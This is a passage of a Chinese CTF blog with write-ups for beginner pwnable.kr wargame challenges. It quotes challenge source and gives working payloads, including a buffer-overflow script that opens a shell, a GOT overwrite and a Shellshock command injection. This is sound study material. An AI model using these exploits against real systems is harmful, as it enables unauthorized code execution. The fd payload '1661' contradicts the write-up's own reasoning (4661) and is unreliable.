• pwnable.kr 简单题目详细笔记汇总


    pwnable.kr fd
    pwnable.kr collision
    pwnable.kr bof
    pwnable.kr flag
    pwnable.kr passcode
    pwnable.kr random
    pwnable.kr input
    pwnable.kr leg
    pwnable.kr mistake
    pwnable.kr shellshock
    pwnable.kr coin1
    pwnable.kr lotto
    pwnable.kr cmd1
    pwnable.kr cmd2
    pwnable.kr uaf
    pwnable.kr blukat
    pwnable.kr memcpy
    pwnable.kr asm
    pwnable.kr unlink
    pwnable.kr horcruxes

    fd

    题目描述

    Mommy! what is a file descriptor in Linux?

    • try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
      https://youtu.be/971eZhMHQQw

    ssh fd@pwnable.kr -p2222

    题目源码

    #include 
    #include 
    #include 
    char buf[32];
    int main(int argc, char* argv[], char* envp[]){
    	if(argc<2){
    		printf("pass argv[1] a number\n");
    		return 0;
    	}
    	int fd = atoi( argv[1] ) - 0x1234;
    	int len = 0;
    	len = read(fd, buf, 32);
    	if(!strcmp("LETMEWIN\n", buf)){
    		printf("good job :)\n");
    		system("/bin/cat flag");
    		exit(0);
    	}
    	printf("learn about Linux file IO\n");
    	return 0;
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21

    知识点

    ssize_t read(int fd, void *buf, size_t count);fd的含义

    0:stdin、1:stdout、2:stderr

    解体思路

    输入第二个参数为4661,减去0x1234就是1,即从标准输入读入数据。

    payload

    ./fd 1661
    LETMEWIN
    
    • 1
    • 2
    collision

    题目描述

    Daddy told me about cool MD5 hash collision today.
    I wanna do something like that too!

    ssh col@pwnable.kr -p2222 ()

    题目源码

    #include 
    #include 
    unsigned long hashcode = 0x21DD09EC;
    unsigned long check_password(const char* p){
    	int* ip = (int*)p;
    	int i;
    	int res=0;
    	for(i=0; i<5; i++){
    		res += ip[i];
    	}
    	return res;
    }
    
    int main(int argc, char* argv[]){
    	if(argc<2){
    		printf("usage : %s [passcode]\n", argv[0]);
    		return 0;
    	}
    	if(strlen(argv[1]) != 20){
    		printf("passcode length should be 20 bytes\n");
    		return 0;
    	}
    
    	if(hashcode == check_password( argv[1] )){
    		system("/bin/cat flag");
    		return 0;
    	}
    	else
    		printf("wrong passcode.\n");
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    解题思路

    输入20字节字符串, 转换成5个int, 相加结果等于0x21DD09EC

    >>> int('0x21DD09EC', 16)
    568134124
    >>> 568134124 // 5
    113626824
    >>> hex(113626824)
    '0x6c5cec8'
    >>> 568134124 % 5
    4
    >>> hex(113626824 + 4)
    '0x6c5cecc'
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    payload

    ./col `python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'`
    
    • 1
    bof

    题目描述

    Nana told me that buffer overflow is one of the most common software vulnerability.
    Is that true?

    Download : http://pwnable.kr/bin/bof
    Download : http://pwnable.kr/bin/bof.c

    Running at : nc pwnable.kr 9000

    题目源码

    #include 
    #include 
    #include 
    void func(int key){
    	char overflowme[32];
    	printf("overflow me : ");
    	gets(overflowme);	// smash me!
    	if(key == 0xcafebabe){
    		system("/bin/sh");
    	}
    	else{
    		printf("Nah..\n");
    	}
    }
    int main(int argc, char* argv[]){
    	func(0xdeadbeef);
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    payload

    from pwn import *
    io = remote('pwnable.kr', 9000)
    payload = flat(cyclic(0x2c+4+4), p32(0xcafebabe))
    io.sendline(payload)
    io.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    flag

    题目描述

    Papa brought me a packed present! let’s open it.

    Download : http://pwnable.kr/bin/flag

    This is reversing task. all you need is binary

    做题思路

    ida看到的信息和直接执行的信息不一样,并且ida提供的信息很少。查壳工具看下有upx壳,upx -d flag

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char *dest; // ST08_8
    
      puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
      dest = (char *)malloc(100LL);
      strcpy(dest, flag);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    结果flag没有被加密,双击可以看到内容。

    passcode

    题目描述

    Mommy told me to make a passcode based login system.
    My initial C code was compiled without any error!
    Well, there was some compiler warning, but who cares about that?

    ssh passcode@pwnable.kr -p2222 ()

    #include 
    #include 
    
    void login(){
            int passcode1;
            int passcode2;
    
            printf("enter passcode1 : ");
            scanf("%d", passcode1);
            fflush(stdin);
    
            // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
            printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
            printf("checking...\n");
            if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!\n");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!\n");
                    exit(0);
            }
    }
    
    void welcome(){
            char name[100];
            printf("enter you name : ");
            scanf("%100s", name);
            printf("Welcome %s!\n", name);
    }
    
    int main(){
            printf("Toddler's Secure Login System 1.0 beta.\n");
    
            welcome();
            login();
    
            // something after login...
            printf("Now I can safely trust you that you have credential :)\n");
            return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    解体思路

    需要满足passcode1==338150 && passcode2==13371337,但是scanf函数中给的参数直接是变量,并没有加地址,所以执行时会出现错误,报错如下

    passcode@pwnable:~$ ./passcode
    Toddler's Secure Login System 1.0 beta.
    enter you name : hello
    Welcome hello!
    enter passcode1 : 338150
    Segmentation fault (core dumped)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    welcome函数和login函数在main函数中间没有间隔其他的代码,所以执行两个函数时栈帧的ebp一定是一样的,也可以用gdb调试验证。

    输入name的时候,发现被存储在0xffffd168位置,此时ebp值为0xffffd1d8,name数组大小100,因此可以写范围为[0xffffd168-0xffffd1cc)

    在login函数中,ebp值为0xffffd1d8;当输入完passcode1=2222(0x8ae)时,查看栈帧

    0xffffd1c8 —▸ 0xffffd220 ◂— 0x8ae,可以看到passcode1的地址为0xffffd1c8 根据先声明的变量后压栈,passcode2的地址应该是0xffffd1cc,因此在welcome函数中只能覆盖掉passcode1变量的地址,不能覆盖掉passcode2变量所在的地址。即写name变量时输入96个字符后再输入的4个字符就是覆盖的passcode1的内容。而之后又有scanf,这样就可以向任意可写地址写入数据

    可以看到flush函数会跳转到0x0804a004地址处,其实flush的作用就是跳转到某个地址去执行,执行完后再跳转回来。

    所以可以向这个地址处写入system(’/bin/cat flag’)指令的地址。

    ida中内容如下

    .text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
    .text:080485EA                 call    _system
    
    • 1
    • 2

    因为scanf(%d, passcode1)是按十进制读入数据。

    payload

    python -c 'print "\x01"*96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode
    
    • 1
    random

    题目描述

    Daddy, teach me how to use random value in programming!

    ssh random@pwnable.kr -p2222 ()

    下载文件scp -P 2222 random@pwnable.kr:/home/random/random.c .

    题目源码

    #include 
    
    int main(){
    	unsigned int random;
    	random = rand();	// random value!
    
    	unsigned int key=0;
    	scanf("%d", &key);
    
    	if( (key ^ random) == 0xdeadbeef ){
    		printf("Good!\n");
    		system("/bin/cat flag");
    		return 0;
    	}
    
    	printf("Wrong, maybe you should try 2^32 cases.\n");
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    pwndbg> disassemble main
    Dump of assembler code for function main:
       0x00000000004005f4 <+0>:     push   rbp
       0x00000000004005f5 <+1>:     mov    rbp,rsp
       0x00000000004005f8 <+4>:     sub    rsp,0x10
       0x00000000004005fc <+8>:     mov    eax,0x0
       0x0000000000400601 <+13>:    call   0x400500 
       0x0000000000400606 <+18>:    mov    DWORD PTR [rbp-0x4],eax
       
    
    pwndbg> b *0x0000000000400606
    Breakpoint 1 at 0x400606
    pwndbg> r
    Starting program: /home/jgc/lab2/random 
    
    pwndbg> p $eax
    $1 = 1804289383
    
    pwndbg> r
    Starting program: /home/jgc/lab2/random 
    [Thread debugging using libthread_db enabled]
    pwndbg> p $eax
    $2 = 1804289383
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    两次运行产生的随机数一样

    payload

    >>> ans = 1804289383 ^ 0xdeadbeef
    >>> ans
    3039230856
    
    • 1
    • 2
    • 3
    input

    题目描述

    Mom? how can I pass my input to a computer program?

    ssh input2@pwnable.kr -p2222 ()

    题目源码

    #include 
    #include 
    #include 
    #include 
    #include 
    
    int main(int argc, char* argv[], char* envp[]){
    	printf("Welcome to pwnable.kr\n");
    	printf("Let's see if you know how to give input to program\n");
    	printf("Just give me correct inputs then you will get the flag :)\n");
    
    	// argv
    	if(argc != 100) return 0;
    	if(strcmp(argv['A'],"\x00")) return 0;
    	if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
    	printf("Stage 1 clear!\n");	
    
    	// stdio
    	char buf[4];
    	read(0, buf, 4);
    	if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
    	read(2, buf, 4);
            if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
    	printf("Stage 2 clear!\n");
    	
    	// env
    	if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
    	printf("Stage 3 clear!\n");
    
    	// file
    	FILE* fp = fopen("\x0a", "r");
    	if(!fp) return 0;
    	if( fread(buf, 4, 1, fp)!=1 ) return 0;
    	if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
    	fclose(fp);
    	printf("Stage 4 clear!\n");	
    
    	// network
    	int sd, cd;
    	struct sockaddr_in saddr, caddr;
    	sd = socket(AF_INET, SOCK_STREAM, 0);
    	if(sd == -1){
    		printf("socket error, tell admin\n");
    		return 0;
    	}
    	saddr.sin_family = AF_INET;
    	saddr.sin_addr.s_addr = INADDR_ANY;
    	saddr.sin_port = htons( atoi(argv['C']) );
    	if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
    		printf("bind error, use another port\n");
        		return 1;
    	}
    	listen(sd, 1);
    	int c = sizeof(struct sockaddr_in);
    	cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
    	if(cd < 0){
    		printf("accept error, tell admin\n");
    		return 0;
    	}
    	if( recv(cd, buf, 4, 0) != 4 ) return 0;
    	if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
    	printf("Stage 5 clear!\n");
    
    	// here's your flag
    	system("/bin/cat flag");	
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67

    在服务器上不能直接写文件, guest权限不够, 但是/tmp文件夹是可以写的, 所以可以用process的cwd改变运行目录, 然后写入文件

    开个本机的端口, 其中端口为argv[‘C’]的值, 需要向这个端口传递"\xde\xad\xbe\xef".

    因为再第四步需要把运行环境切换到/tmp目录下, 则第五步通过之后读取flag要通过软连接索引到/home/input2/flag, 但是/tmp文件夹下guest无权限读取, 所以应该以guest用户创建一个文件夹, 在这个文件夹下guest用户拥有读写的权限(因为是拥有者)

    # python2
    from pwn import *
    import os
    
    os.system('mkdir /tmp/pwn')
    os.system('ln -s /home/input2/flag /tmp/pwn/flag')
    
    args = list('a' * 100)
    args[0]='./input'
    args[ord('A')] = '\x00'
    args[ord('B')] = '\x20\x0a\x0d'
    
    stdi = b'\x00\x0a\x00\xff'
    write('/tmp/pwn/stdi', stdi)
    stde = b'\x00\x0a\x02\xff'
    write('/tmp/pwn/stde', stde)
    
    env_dict = {b'\xde\xad\xbe\xef': b'\xca\xfe\xba\xbe'}
    
    buf = b'\x00\x00\x00\x00'
    write('/tmp/pwn/\x0a', buf)
    
    args[ord('C')] = '6666'
    
    p = process(argv=args, stdin=open('/tmp/pwn/stdi'), stderr=open('/tmp/pwn/stde'), 
                    env=env_dict, cwd='/tmp/pwn', executable='/home/input2/input')
    
    io = remote("localhost", 6666)
    io.send(b'\xde\xad\xbe\xef')
    io.close()
    
    p.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    scp -P2222 ./a.py input2@pwnable.kr:/tmp/exp.py
    
    • 1
    leg

    题目描述

    Daddy told me I should study arm.
    But I prefer to study my leg!

    Download : http://pwnable.kr/bin/leg.c
    Download : http://pwnable.kr/bin/leg.asm

    ssh leg@pwnable.kr -p2222 ()

    题目源码

    //leg.c
    
    #include 
    #include 
    int key1(){
    	asm("mov r3, pc\n");
    }
    int key2(){
    	asm(
    	"push	{r6}\n"
    	"add	r6, pc, $1\n"
    	"bx	r6\n"
    	".code   16\n"
    	"mov	r3, pc\n"
    	"add	r3, $0x4\n"
    	"push	{r3}\n"
    	"pop	{pc}\n"
    	".code	32\n"
    	"pop	{r6}\n"
    	);
    }
    int key3(){
    	asm("mov r3, lr\n");
    }
    int main(){
    	int key=0;
    	printf("Daddy has very strong arm! : ");
    	scanf("%d", &key);
    	if( (key1()+key2()+key3()) == key ){
    		printf("Congratz!\n");
    		int fd = open("flag", O_RDONLY);
    		char buf[100];
    		int r = read(fd, buf, 100);
    		write(0, buf, r);
    	}
    	else{
    		printf("I have strong leg :P\n");
    	}
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    //leg.asm
    
    (gdb) disass main
    Dump of assembler code for function main:
       0x00008d3c <+0>:	push	{r4, r11, lr}
       0x00008d40 <+4>:	add	r11, sp, #8
       0x00008d44 <+8>:	sub	sp, sp, #12
       0x00008d48 <+12>:	mov	r3, #0
       0x00008d4c <+16>:	str	r3, [r11, #-16]
       0x00008d50 <+20>:	ldr	r0, [pc, #104]	; 0x8dc0 
       0x00008d54 <+24>:	bl	0xfb6c 
       0x00008d58 <+28>:	sub	r3, r11, #16
       0x00008d5c <+32>:	ldr	r0, [pc, #96]	; 0x8dc4 
       0x00008d60 <+36>:	mov	r1, r3
       0x00008d64 <+40>:	bl	0xfbd8 <__isoc99_scanf>
       0x00008d68 <+44>:	bl	0x8cd4 
       0x00008d6c <+48>:	mov	r4, r0
       0x00008d70 <+52>:	bl	0x8cf0 
       0x00008d74 <+56>:	mov	r3, r0
       0x00008d78 <+60>:	add	r4, r4, r3
       0x00008d7c <+64>:	bl	0x8d20 
       0x00008d80 <+68>:	mov	r3, r0
       0x00008d84 <+72>:	add	r2, r4, r3
       0x00008d88 <+76>:	ldr	r3, [r11, #-16]
       0x00008d8c <+80>:	cmp	r2, r3
       0x00008d90 <+84>:	bne	0x8da8 
       0x00008d94 <+88>:	ldr	r0, [pc, #44]	; 0x8dc8 
       0x00008d98 <+92>:	bl	0x1050c 
       0x00008d9c <+96>:	ldr	r0, [pc, #40]	; 0x8dcc 
       0x00008da0 <+100>:	bl	0xf89c 
       0x00008da4 <+104>:	b	0x8db0 
       0x00008da8 <+108>:	ldr	r0, [pc, #32]	; 0x8dd0 
       0x00008dac <+112>:	bl	0x1050c 
       0x00008db0 <+116>:	mov	r3, #0
       0x00008db4 <+120>:	mov	r0, r3
       0x00008db8 <+124>:	sub	sp, r11, #8
       0x00008dbc <+128>:	pop	{r4, r11, pc}
       0x00008dc0 <+132>:	andeq	r10, r6, r12, lsl #9
       0x00008dc4 <+136>:	andeq	r10, r6, r12, lsr #9
       0x00008dc8 <+140>:			;  instruction: 0x0006a4b0
       0x00008dcc <+144>:			;  instruction: 0x0006a4bc
       0x00008dd0 <+148>:	andeq	r10, r6, r4, asr #9
    End of assembler dump.
    (gdb) disass key1
    Dump of assembler code for function key1:
       0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008cd8 <+4>:	add	r11, sp, #0
       0x00008cdc <+8>:	mov	r3, pc
       0x00008ce0 <+12>:	mov	r0, r3
       0x00008ce4 <+16>:	sub	sp, r11, #0
       0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008cec <+24>:	bx	lr
    End of assembler dump.
    (gdb) disass key2
    Dump of assembler code for function key2:
       0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008cf4 <+4>:	add	r11, sp, #0
       0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
       0x00008cfc <+12>:	add	r6, pc, #1
       0x00008d00 <+16>:	bx	r6
       0x00008d04 <+20>:	mov	r3, pc
       0x00008d06 <+22>:	adds	r3, #4
       0x00008d08 <+24>:	push	{r3}
       0x00008d0a <+26>:	pop	{pc}
       0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
       0x00008d10 <+32>:	mov	r0, r3
       0x00008d14 <+36>:	sub	sp, r11, #0
       0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008d1c <+44>:	bx	lr
    End of assembler dump.
    (gdb) disass key3
    Dump of assembler code for function key3:
       0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008d24 <+4>:	add	r11, sp, #0
       0x00008d28 <+8>:	mov	r3, lr
       0x00008d2c <+12>:	mov	r0, r3
       0x00008d30 <+16>:	sub	sp, r11, #0
       0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008d38 <+24>:	bx	lr
    End of assembler dump.
    (gdb) 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81

    arm相关知识

    arm 下的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。

    arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址。

    ARM指令是三级流水线,取指,译指,执行时同时执行的,现在PC指向的是正在取指的地址,那么cpu正在译指的指令地址是PC-4(假设在ARM状态下,一个指令占4个字节),cpu正在执行的指令地
    址是PC-8,也就是说PC所指向的地址和现在所执行的指令地址相差8。
    
    • 1
    • 2

    对于key1

    (gdb) disass key1
    Dump of assembler code for function key1:
       0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
       0x00008cd8 <+4>:	add	r11, sp, #0
       0x00008cdc <+8>:	mov	r3, pc
       0x00008ce0 <+12>:	mov	r0, r3
       0x00008ce4 <+16>:	sub	sp, r11, #0
       0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
       0x00008cec <+24>:	bx	lr
    End of assembler dump.
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    是将pc的值给了r0,而执行mov r3, pc时,由于指令流水,此时pc的值为0x00008ce4,即为key1的值。

    同理key2=0x00008d0c

    lr寄存器中存储的是子函数的返回地址

    key3=0x00008d80

    key=0x00008ce4+0x00008d0c+0x00008d80

    mistake

    题目描述

    We all make mistakes, let’s move on.
    (don’t take this too seriously, no fancy hacking skill is required at all)

    This task is based on real event
    Thanks to dhmonkey

    hint : operator priority

    ssh mistake@pwnable.kr -p2222 ()

    题目源码

    #include 
    #include 
    
    #define PW_LEN 10
    #define XORKEY 1
    
    void xor(char* s, int len){
            int i;
            for(i=0; i<len; i++){
                    s[i] ^= XORKEY;
            }
    }
    
    int main(int argc, char* argv[]){
    
            int fd;
            if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                    printf("can't open password %d\n", fd);
                    return 0;
            }
    
            printf("do not bruteforce...\n");
            sleep(time(0)%20);
    
            char pw_buf[PW_LEN+1];
            int len;
            if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                    printf("read error\n");
                    close(fd);
                    return 0;
            }
    
            char pw_buf2[PW_LEN+1];
            printf("input password : ");
            scanf("%10s", pw_buf2);
    
            // xor your input
            xor(pw_buf2, 10);
    
            if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                    printf("Password OK\n");
                    system("/bin/cat flag\n");
            }
            else{
                    printf("Wrong Password\n");
            }
    
            close(fd);
            return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    注意一下代码

    if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                    printf("can't open password %d\n", fd);
                    return 0;
            }
    
    • 1
    • 2
    • 3
    • 4

    等价于if(fd = 1 < 0),会先运算1<0然后把结果0赋值给fd,再后面读取时就是从0也就是标准输入读入数据。

    A的binary为01000001, @的binary为01000000
    所以输入AAAAAAAAAA, 和@@@@@@@@@@即可通过检测读取flag

    shellshock

    题目描述

    Mommy, there was a shocking news about bash.
    I bet you already know, but lets just make it sure 😃

    ssh shellshock@pwnable.kr -p2222 ()

    题目源码

    #include 
    int main(){
            setresuid(getegid(), getegid(), getegid());
            setresgid(getegid(), getegid(), getegid());
            system("/home/shellshock/bash -c 'echo shock_me'");
            return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    int setresuid(uid_t ruid, uid_t euid, uid_t suid);
    int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
    
    • 1
    • 2

    查看所有文件信息

    shellshock@pwnable:~$ ls -al
    total 980
    drwxr-x---   5 root shellshock       4096 Oct 23  2016 .
    drwxr-xr-x 116 root root             4096 Nov 11  2021 ..
    -r-xr-xr-x   1 root shellshock     959120 Oct 12  2014 bash
    d---------   2 root root             4096 Oct 12  2014 .bash_history
    -r--r-----   1 root shellshock_pwn     47 Oct 12  2014 flag
    dr-xr-xr-x   2 root root             4096 Oct 12  2014 .irssi
    drwxr-xr-x   2 root root             4096 Oct 23  2016 .pwntools-cache
    -r-xr-sr-x   1 root shellshock_pwn   8547 Oct 12  2014 shellshock
    -r--r--r--   1 root root              188 Oct 12  2014 shellshock.c
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    此时进程shellshock如果有shellshock_pwn用户组的权限, 即可以读取flag

    查看bash二进制文件的版本

    shellshock@pwnable:~$ ./bash --version
    GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
    Copyright (C) 2011 Free Software Foundation, Inc.
    License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
    
    This is free software; you are free to change and redistribute it.
    There is NO WARRANTY, to the extent permitted by law.
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    bash在4.3版本往下有 CVE-2014-6271 的所谓 破壳漏洞.
    可以在环境变量中通过构造函数执行bash命令, 所以利用shellshock的读取flag权限构造cat flag命令即可读取flag

    此cve利用env x='() { :;}; bash -c "cat ./flag"' ./shellshock

    理解:定义一个环境变量x,函数为空,不调用则不执行,但是x后面跟着bash -c,不调用也会执行。并且当执行shellshock时会解析环境变量中的bash -c,导致读出flag。

    CVE-2014-6271链接https://zgao.top/bash%E7%A0%B4%E5%A3%B3%E6%BC%8F%E6%B4%9Ecve-2014-6271%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/

    coin1

    题目描述

    Mommy, I wanna play a game!
    (if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

    Running at : nc pwnable.kr 9007

    payload是python3版本

    from pwn import *
    
    def judge(start, end, index):
        lt = [str(i) for i in range(start, index+1)]
        lt = ' '.join(lt)
        log.info(lt)
        io.sendline(lt.encode())
        msg = io.recv().decode().rstrip()
        log.info(msg)
        if int(msg) != (index-start+1)*10:
            return True
        else:
            return False
        
    def binary_search(start, end):
        while (start<=end):
            mid = (start+end)//2
            if judge(start, end, mid):
                end = mid-1
            else:
                start = mid+1
        return start
    
    io = remote('pwnable.kr', 9007)
    io.recv()
    for i in range(100):
        msg= io.recvline().decode().rstrip()
        str1, str2 = msg.split(' ')
        N = int(str1.split('=')[1])
        C = int(str2.split('=')[1])
        log.info('N = ' + str(N) + ' C = ' + str(C))
        
        start = 0
        end = N
        res = binary_search(0, end)
        io.sendline(str(res).encode())
        msg = io.recv().decode()
        log.info(msg)
        while 'Correct' not in msg:
            io.sendline(str(res).encode())
            msg = io.recv().decode()
            log.info(msg)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    lotto

    题目描述

    Mommy! I made a lotto program for my homework.
    do you want to play?

    ssh lotto@pwnable.kr -p2222 ()

    #include 
    #include 
    #include 
    #include 
    
    unsigned char submit[6];
    
    void play(){
    	
    	int i;
    	printf("Submit your 6 lotto bytes : ");
    	fflush(stdout);
    
    	int r;
    	r = read(0, submit, 6);
    
    	printf("Lotto Start!\n");
    	//sleep(1);
    
    	// generate lotto numbers
    	int fd = open("/dev/urandom", O_RDONLY);
    	if(fd==-1){
    		printf("error. tell admin\n");
    		exit(-1);
    	}
    	unsigned char lotto[6];
    	if(read(fd, lotto, 6) != 6){
    		printf("error2. tell admin\n");
    		exit(-1);
    	}
    	for(i=0; i<6; i++){
    		lotto[i] = (lotto[i] % 45) + 1;		// 1 ~ 45
    	}
    	close(fd);
    	
    	// calculate lotto score
    	int match = 0, j = 0;
    	for(i=0; i<6; i++){
    		for(j=0; j<6; j++){
    			if(lotto[i] == submit[j]){
    				match++;
    			}
    		}
    	}
    
    	// win!
    	if(match == 6){
    		system("/bin/cat flag");
    	}
    	else{
    		printf("bad luck...\n");
    	}
    
    }
    
    void help(){
    	printf("- nLotto Rule -\n");
    	printf("nlotto is consisted with 6 random natural numbers less than 46\n");
    	printf("your goal is to match lotto numbers as many as you can\n");
    	printf("if you win lottery for *1st place*, you will get reward\n");
    	printf("for more details, follow the link below\n");
    	printf("http://www.nlotto.co.kr/counsel.do?method=playerGuide#buying_guide01\n\n");
    	printf("mathematical chance to win this game is known to be 1/8145060.\n");
    }
    
    int main(int argc, char* argv[]){
    
    	// menu
    	unsigned int menu;
    
    	while(1){
    
    		printf("- Select Menu -\n");
    		printf("1. Play Lotto\n");
    		printf("2. Help\n");
    		printf("3. Exit\n");
    
    		scanf("%d", &menu);
    
    		switch(menu){
    			case 1:
    				play();
    				break;
    			case 2:
    				help();
    				break;
    			case 3:
    				printf("bye\n");
    				return 0;
    			default:
    				printf("invalid menu\n");
